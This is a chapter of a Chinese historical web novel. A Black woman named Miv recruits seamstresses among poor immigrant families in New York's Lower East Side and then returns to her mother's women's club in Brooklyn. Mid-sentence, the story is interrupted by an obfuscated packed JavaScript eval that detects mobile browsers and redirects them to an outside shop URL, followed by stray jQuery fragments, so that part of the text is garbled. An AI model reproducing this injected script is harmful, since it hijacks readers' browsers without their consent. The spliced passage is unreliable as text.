路旁积雪混着煤灰，凝成一片污浊的深灰色。


    米芙拉紧围巾，踏进了下东区的街道。


    刚拐过一栋砖房，一股浓烈的烟草味便扑面而来。辛辣的烟味呛得她连咳几声，不由得朝那扇敞开的门内望去。屋子里连一个煤炉都没有，七八岁大的孩童挨挤在一起，一个个蜷在矮凳上，膝头堆着褐色烟叶，小手正飞快地卷着雪茄。其中一个男孩闻声抬头，恰好与门外的米芙对上视线。他撇了撇嘴，做了个不耐烦的鬼脸，随即又埋下头去，继续手里的活计。


    冷风扎进脖颈，米芙忍不住缩着脖子，抱着胳膊继续往前走。


    「米芙小姐！」


    一个熟悉的声音叫住她。小帮工吉米抱着几份没卖完的报纸从对面跑来，破旧的棉帽歪戴着，鼻尖冻得发亮。见到布鲁克公馆的熟人，他咧嘴一笑，特意挺直了腰板，像个常在市政厅附近出没的绅士似的整了整衣领。


    「这么冷的天，您怎么来这儿了？」吉米哈着气问，白雾从嘴里冒出来。


    米芙停下脚步，朝他笑了笑。「我来犹太社区找些会缝纫的妇女。」


    吉米瞪大眼睛。「您要找犹太人？」他压低声音，「他们规矩可多了，只跟自己人打交道。上周有个意大利裁缝想租这里的铺子，被他们用扫帚轰出去了。我亲眼瞧见的，真的！」


    「总要试试。整个纽约收费便宜且有经验的的女工，可能都在这片了。」米芙从口袋里取出一张手写宣传单，「我们打算先开个招募女工的说明会。来参加的人还能抽奖，奖品是三条羊毛围巾。」


    吉米凑近看了看宣传单，摇摇头。「这上面的词弯弯绕绕的，她们估计还没我认得全！」估摸着因为他穿的是单鞋，脚心快冻僵了，左右□□换跺着，「我每天打这里过，什么没见过？他们连自己人都防着，何况您是个外人。」


    这语气像是从施耐德先生那里学来的。


    但听到米芙耳里，却瞬间让她心凉了半截。从外到里，都觉得冷。米芙没有和小吉米争辩。她望向街道深处，一排排低矮的公寓楼挤在一起。铁杆子横七竖八地伸出在窗外，积雪压着晾衣绳，在风中僵硬地摆动。


    「我陪你吧。」吉米叹了口气，「你一个小姐不好开口，我来帮你说。」


    他们走进一条更窄的巷子。外面一个人影都没有。米芙敲响左手一户人家的门。开门的是个年轻妇女，怀里抱着婴儿。她警惕地盯着米芙，手指紧紧抓着门框。


    「日安。」米芙递出宣传单，「我们筹开的成衣店，正在招募女工，如果您会缝纫……」


    妇女瞥了眼宣传单，突然用意第绪说了句什么，重重关上门。震得门上的雪簌簌落下。


    「她刚才说什么？」米芙问。


    吉米尴尬地耸耸肩。「我猜是''快走开''。」


    米芙走进一栋合租楼，又试着敲了几户门。不是无人应答，就是刚开口就被粗暴打断。一位老妇人从墙上的暗窗探出头，不等她说完就「啪」一声把窗户扣上了。还有个中年男子站在楼梯口大声呵斥，说她们是来抢生意的。


    吉米不甘示弱，跟那男人对冲了几句。


    米芙害怕惹出事来，拉着吉米往外走。就在她快要走出这栋合租楼时，一扇木门吱呀开了条缝。一位围着褪色头巾的妇人谨慎地打量她，手里还攥着未完工的衣料。


    「您有什么事？」妇人英语生硬，每个字都说得缓慢。


    米芙连忙递过传单，尽量简单说明来意。


    妇人仔细听着，但并没有打开门缝。


    「不能怪大家这样。」她抬起疲惫的眼睛，「大家实在是怕了。我们女人孩子从天亮做到天黑，一件工才挣几分钱。您闻闻这空气，全是毛絮，多少人做到后来都咳个不停。去年来了一伙人，也跟你说法差不多，说得天花乱坠，最后他卷了定金就跑。让我们给他白做了半个月的工，我们这样的人家，手停口停，实在不敢再信了。」


    见妇人不为所动，米芙补充道，「我们还准备了抽奖，来参加说明会的人，都有机会抽到羊毛围巾。有三条。」


    这是安妮之前提过的法子。她说，钓鱼得先下饵，总得在前面放一些实惠。最后大家一合计，羊毛围巾最合适，既体面又实用，价钱也担负得起。


    妇人似乎有所意动，扒在门边半晌没有说话。但最终，她还是缓缓摇头，将传单从门缝里轻轻推了出来。


    门轻轻合上，再无声响。


    「米芙小姐。」吉米见米芙脸色发白，小声提议，「要不……找我娘帮帮忙？她认识下东区不少妇人。」


    米芙从沉思中抬起头。「你母亲？」


    「她给好几户人家浆洗衣物，大家都认得她。」吉米挺起胸脯，「要是她陪着敲门，至少能让您把话说完。不过……」他挠了挠耳朵，「她认识的多半是是从乡下刚进城的，或者爱尔兰来的，不像犹太区的女人们那样精通针线。」


    米芙沉默了片刻。自从认领下招募女工的活儿，她满心只想着寻找手艺娴熟的犹太妇女，盼着能一举成功。吉米的话点醒了她。若通过他母亲的关系去寻人，这些妇人或许手艺生疏些，可正因如此，她们反倒更可能愿意尝试新的机会。眼下没有别的路可走，任何一个希望都不该轻易放过。


    「我们现在就去？」


    吉米用力点头，「跟我来！我娘这个时候该收工了。」


    他迈着大步带头走在前面，米芙紧跟在后。


    /


    米芙跟着吉米穿过积雪的巷子，来到他和母亲居住的廉价公寓。推开吱呀作响的木门，就看到吉米的母亲，正就着窗户透进的最后一点天光，在逼仄的房间里用力搓洗衣物。


    「娘，看我带谁来了！」吉米声音响亮。


    大安妮看见吉米带了一个黑人女孩进门，眼里满是疑惑。


    「这位是米芙小姐，从布鲁克公馆来的。」吉米小声介绍。


    安妮用围裙擦了擦红肿的手。她听儿子提过这位小姐，此刻见到真人，才想起儿子确实说过——对方是黑人。


    她不知道该不该行礼，最后笨拙地说了句，「日安。」


    米芙并未在意细节。简要说明来意后，这位勤劳的洗衣妇没有犹豫，立刻解下围裙。「我确实认识一些呆在家里没活儿干的女人，我带你去问问。」


    他们先去了爱尔兰移民聚居的区域。


    这里的景象比吉米家更为凄惨。唐娜一家六口挤在一间地下室里。吉米母亲敲开门时，一股混杂着尿臊、霉味和煮卷心菜的气味汹涌而出。


    「安妮？」开门的红发妇人脸色苍白，怀里抱着哭闹的婴儿，「是你啊。这鬼天气，快进屋。」


    房间没有窗户，只在靠近门的墙上挖了个通风口。潮湿的墙壁上结着白霜，地上铺着发霉的草垫。两个稍大的孩子蜷缩在角落，身上盖着破麻袋取暖。屋角放着一个夜壶，满得快要溢出来。


    米芙几乎没地方站立，强忍着不适说明来意。唐娜灰蓝色的眼睛在听到「羊毛围巾」时亮了一下，但很快黯淡。「学缝纫？我们连针都买不起。」她苦笑，「男人们在码头干完活，回来前我还得给他们张罗吃的，哪有工夫学这些……」


    不过，在另一户人家，情况稍有转机。


    凯莉，一个带着三个女儿的爱尔兰妇人，在听完米芙的话后，犹豫了很久。


    「我们身上这些补丁擦补丁的衣服，都是我一针一线缝出来的。」她终于开口，声音嘶哑，「如果真能周结工钱……我可以去听听。能带我几个女儿一起去吗？」


    米芙望向屋里那几个瘦小的女孩。最大的一个就比她矮半个头，身上的裙子是用不同花色的碎布拼凑而成的。她点了点头。


    他们又走访了附近几户人家，情况大同小异。在爱尔兰移民聚集的街区收获寥寥后，他们转往吉米家所在的区域。这里的居民大多是从美国乡下来纽约谋生的工人家庭。


    此时的美国，正经历着有史以来最快速的工业化和城市化。中西部农场因为经济危机纷纷破产，失去生计的农村家庭被迫向东迁移，涌入纽约等工业城市，在工厂、铁路和建筑工地寻找生计。他们的境遇虽比初来乍到的移民稍好些，但依然生活在贫困边缘。


    吉米母亲带着米芙敲响了赫梅尔家的门。


    「安妮！」开门的年轻妇人脸上露出真切的笑容，「你来得正好。我正想找你问问，附近还有没有需要洗衣的人家？天气太冷，我接的活少了很多。」


    「这位是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741070|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    米芙小姐，从第五大道来的。」吉米母亲介绍道，「有更好的活儿介绍给你，你看看想不想做。」


    「请进。」安娜连忙将人请入屋内。


    赫梅尔的家虽然狭小，但收拾得整洁，远比刚才去的几家亮堂。她的丈夫在玻璃厂做装配工，收入微薄但稳定。墙上挂着一幅从乡下带来的刺绣，是这间陋室里唯一的装饰。


    「我在娘家时做过些简单针线。」汉娜仔细听完米芙的介绍后说，「如果真像你说的，只需要做成衣的几个固定部件，要求不高的话……我觉得我可以试试。」


    米芙稍稍松了口气，她终于可以带回一些确切的消息，而不仅仅是拒绝和含糊。明天见到安妮和埃莉诺，也算可以交差了。


    /


    离开下东区时，夜幕已经降临。


    米芙独自登上前往布鲁克林的渡轮，寒风吹拂着她疲惫的脸庞，但她却不觉得冷。与白天看到的景象相比，她将前往的目的地简直是温暖的天堂。


    那就是她的家。


    当渡轮靠岸，她迈步走向家所在的街区，步子越来越快。远远地，她就她就认出了那排熟悉的联排别墅。与下东区拥挤的廉租公寓不同，这里的房屋显得高大宽敞，每栋住宅前都有一方被低矮铁栅栏围起的小庭院，此刻覆着一层薄雪。门廊下，一盏煤气灯正散发着昏黄的光晕，照亮了通往家门的台阶。


    当她推开自家那扇深绿色的大门时，眼前的景象果然不出意外。


    客厅里灯火通明，茶香四溢。十几位黑人妇女围坐在圆桌边，正专注于一场惠斯特牌局。出牌的出牌，围观的围观，友好的争辩和阵阵笑声充满了整个房间。米芙注意到，她们衣领上都别着一枚小巧的铜质橡果胸针，这是她们组织的标志。


    「明天的洗礼仪式，蛋糕就交给我了。」一位圆脸的夫人出着牌说道。


    「那我负责准备花束，」她对家的女士接话，「教堂那边我已经打点好了。」


    「哦！萨拉又赢了！」一个年轻女士嚷道，「快，妮娅，该你受罚了！说好的，输家要唱一首歌！」


    被点名的妮娅倒也爽快，笑着站了起来，清了清嗓子，哼唱起一首轻快的歌曲，周围的人跟着轻轻打起拍子。气氛热烈又融洽，以至于米芙在门口站了一会儿，竟没人立刻发现她。


    直到米芙的母亲从厨房端着茶点出来。这位总是仪态端庄的女士今天在深色丝绒长裙的领口，也别着那枚铜橡果。她一眼就看见了女儿，立即放下托盘，张开双臂迎了上来，给了女儿一个大大的拥抱。


    所有目光都惊喜地投向门口。


    「米芙！」


    「我们的小先锋总算回来了！」


    大家纷纷放下手中的纸牌，热情地围拢过来，亲切地招呼着。有人接过她沾了寒气的外套，有人递给她一杯热茶。那位刚才唱歌的妮娅拉着她的手，让她在壁炉边最舒适的扶手椅上坐下。


    「外面冷坏了吧？快暖和暖和。」


    米芙的母亲在她耳边低语：「大家听说了你在做的事，都很支持。我稍微提了提，她们就留到了现在，非要等到你回来不可。」


    一位戴着精巧蕾丝小帽的年轻女孩挤到她身边。这女孩不仅是米芙母亲组织中的成员，还是米芙的表姐，叫莉娜。她挽住米芙的手臂问道：「米芙，这次能在家待几天呀？」


    「我只请了一天的假，明天参加完洗礼，还得回曼哈顿。」


    看着满屋子或熟悉或陌生的面孔，米芙突然觉得鼻子发酸。与下东区那些警惕、怀疑和冷漠的目光不同，这里的每一道视线都充满善意和支持。


    她紧绷了一整天的神经终于松弛下来。


    米芙的母亲适时地轻轻拍手，厅内的谈笑声便渐渐低了下去。


    「各位亲爱的姐妹，」她声音自带力量，「感谢大家等到这么晚。现在，让我们听听米芙要说什么。关于她和曼哈顿的伙伴们正在筹办的成衣店，究竟需要招募什么样的女工，又有什么样的打算。」


    女士们纷纷寻了座位坐下，所有的目光都聚焦在米芙身上，充满了期待与鼓励。


    「米芙，说说你要招什么样女工，我们帮你想办法。」


    「孩子，那个说明会定在哪里？」